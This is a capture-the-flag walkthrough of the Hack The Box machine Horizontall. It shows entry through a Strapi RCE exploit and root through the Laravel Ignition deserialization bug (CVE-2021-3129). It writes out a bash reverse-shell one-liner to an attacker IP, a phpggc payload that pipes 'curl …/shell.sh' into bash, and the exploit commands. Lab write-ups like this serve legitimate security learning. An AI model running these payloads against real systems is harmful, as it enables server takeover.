Hack The Box: Horizontall

Prelude

Horizontall was an Intermediate linux machine from Hack The Box, developed by wail99. This box was actually a great learning experience for me and it demonstrated a cool vulnerability in Laravel for the privesc vector. For the initial foothold, Horizontall combined basic enumeration techniques and an RCE in Strapi.

Let’s start the exploitation.

Exploitation

I started the exploitation with a Nmap scan.

nmap -sCV -v -oN tcp 10.10.11.105

And I got the following scan result.

# Nmap 7.91 scan initiated Mon Sep 20 17:16:51 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I browsed to http://10.10.11.105 and found the following error.

The URL was redirecting to the hostname horizontall.htb.

So, I added an entry for horizontall.htb in my /etc/hosts file and reloaded the page. This time, I got a webpage back.

I started two gobuster instances; one in dir mode and one in vhost mode. After starting the gobuster instances, I began to manually poke around the website.

I found that, there were no active links in the webpage and it was fully rendered using javascript. Also, when I tried to view the source code, I got the following error.

So, I read the source of the javascript and found a new sub-domain api-prod.

Gobuster have also found the subdomain.

I added the subdomain api-prod to my hosts file and went to http://api-prod.horizontall.htb/ and I got the following response.

I started gobuster on this subdomain and found an admin login page.

I went to /admin and found the following login page of Strapi.

Strapi is the an open-source headless CMS, used to create dynamic webpages and APIs.

I searched for Strapi exploit and found a recent RCE vulnerability in Strapi v3.0.0-beta.17.4.

In the exploit, found an endpoint to enumerate strapi version.

So, I navigated to http://api-prod.horizontall.htb/admin/init and confirmed the version of Strapi.

I then used the RCE exploit and got a python web shell back!

This exploit will reset the admin’s password to SuperStrongPassword1 and then uses a code injection vulnerability in installPlugin and uninstallPlugin handler functions for the admin panel to execute code on the target.

Read more about how this vulnerability works from here.

Now that I’ve got a partial webshell, I want to elevate it a full TTY shell.

So, I used bash reverse shell one liner in the web shell to get a reverse shell back.

And I got a shell back as strapi.

Escalating Privileges to Developer ?

I have looked around for some time, but I couldn’t elevate the privileges to the user developer. I then decided to enumerate more and I accidently rooted the box, without getting to user.

I believe the user developer was only meant to gain access to SSH, so that we can forward port easily, since the user.txt flag was readable by everyone.

Shrug GIFs - Get the best GIF on GIPHY
Why waste time on user, when I can just go straight to root?

Escalating Privileges to Root

When looking around the machine, I have found that the machine has port 8000 open to connections from localhost.

I needed to forward that port. So, I skipped escalating to the user developer entirely, by creating a .ssh folder in strapi user’s home directory, i.e., /opt/strapi/ and forwarded the port.

ssh -i auth.key strapi@horizontall.htb -L 8000:127.0.0.1:8000 

And I’ve found a Laravel instance running on port 8000.

Laravel is a free, open-source PHP web framework, intended for the development of web applications.

I did a gobuster on this, but for some reason the SSH connection was unstable and it didn’t let me perform the directory bruteforce.

But, gobuster did find a /profiles directory.

So, I went to http://localhost:8000/profiles and found that Laravel had debugging mode turned on.

So, I searched for Laravel Debug mode exploit ( CVE-2021-3129 ) and found an excellent writeup by Ambionics security.
I found that this exploit is for Laravel versions < 8.4.2.

So, I tried to enumerate the Laravel version and found the Laravel version from the context tab as 8.43.0.

Even though it said the version as 8.43, I decided to test the exploit.

But before that, let me explain what CVE-2021-3129 is.

What is Laravel Debug RCE Exploit?

The vulnerability in Laravel is actually quite simple. It is an insecure use of file_get_contents() and file_put_contents() functions. But the effort, research and cleverness it took to exploit this vulnerability is too high and it is kind of thrilling to read the writeup!

I’ll explain the vulnerability as concisely as possible. But, the writeup from Ambionics Security does a better job at explaining it. Try to read that too.

This exploit also uses the upload progress technique demonstrated by Orange Tsai. That is also an interesting read!

How does the Laravel RCE Exploit Work?

If debug mode is turned on in Laravel < 8.4.2, then it uses an error page generator called Ignition to generate the error. Along with error generation, Ignition also suggests and implement fixes for the generated error, so that the admin can fix the errors with one click as shown in the earlier screenshot. But, Ignition versions <= 2.5.1  uses the functions file_get_contents() and file_put_contents() insecurely for error correction.

Because of this vulnerability, the researchers have managed to clear laravel’s log file, then converted it to a valid PHAR (PHP Archive) file, and used the file to trigger a deserialization to execute arbitrary code in the target.

The steps to exploit this vulnerability is as follows:

  • Created a deserialization payload (PHAR file) using phpggc and encoded it to UTF-16. This encoding is to extract just the payload and skip the rest of the contents from the log file.
  • Clear the Laravel logs, by using Orange Tsai’s upload progress technique and PHP’s undocumented consumed filter.
  • Add padding to the log, for valid UTF16 alignment
  • Create log entry with the payload generated using phpggc
  • Use series of PHP filters to convert the payload to a valid PHAR archive
  • And finally, launch the PHAR deserialization to trigger RCE!

This might sound straight forward enough when listed like this, but the pure cleverness and research went behind creating a valid PHAR archive using different encodings and filters is pretty intricate and I’m pretty flabbergasted by it!

Holy Moly GIF - Jurassic Park Alan Grant Sam Neill - Discover & Share GIFs

Now that the exploit is explained, let’s get back to rooting the box.

There’s a python exploit script provided in the github repo, mentioned in the writeup. The writeup also mentions phpggc (PHP Generic Gadget Chains) for generating the deserialization payload.

So, I cloned both repositories and used the following commands to check the vulnerability.

First, I generated the deserialization payload.

php -d'phar.readonly=0' ../phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id

Then, I passed the PHAR file to the exploit script.

python3 laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar

And I confimed the vulnerability!

I then created a file named shell.sh with the following reverse shell one liner and hosted it using python http.server.

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.92/9002 0>&1'

Then, I created the deserialization payload using the following command.

php -d'phar.readonly=0' ../phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'curl 10.10.14.92/shell.sh|bash'

Then, I ran the python script using.

python3 laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar 

And I got root!

Howard Bigbangtheory GIFs | Tenor
w00t shell dance!

Postlude

And that was Horizontall. This was a great box, with an excellent vulnerability.

Kudos to wail99 for creating this box!

Peace out! ✌️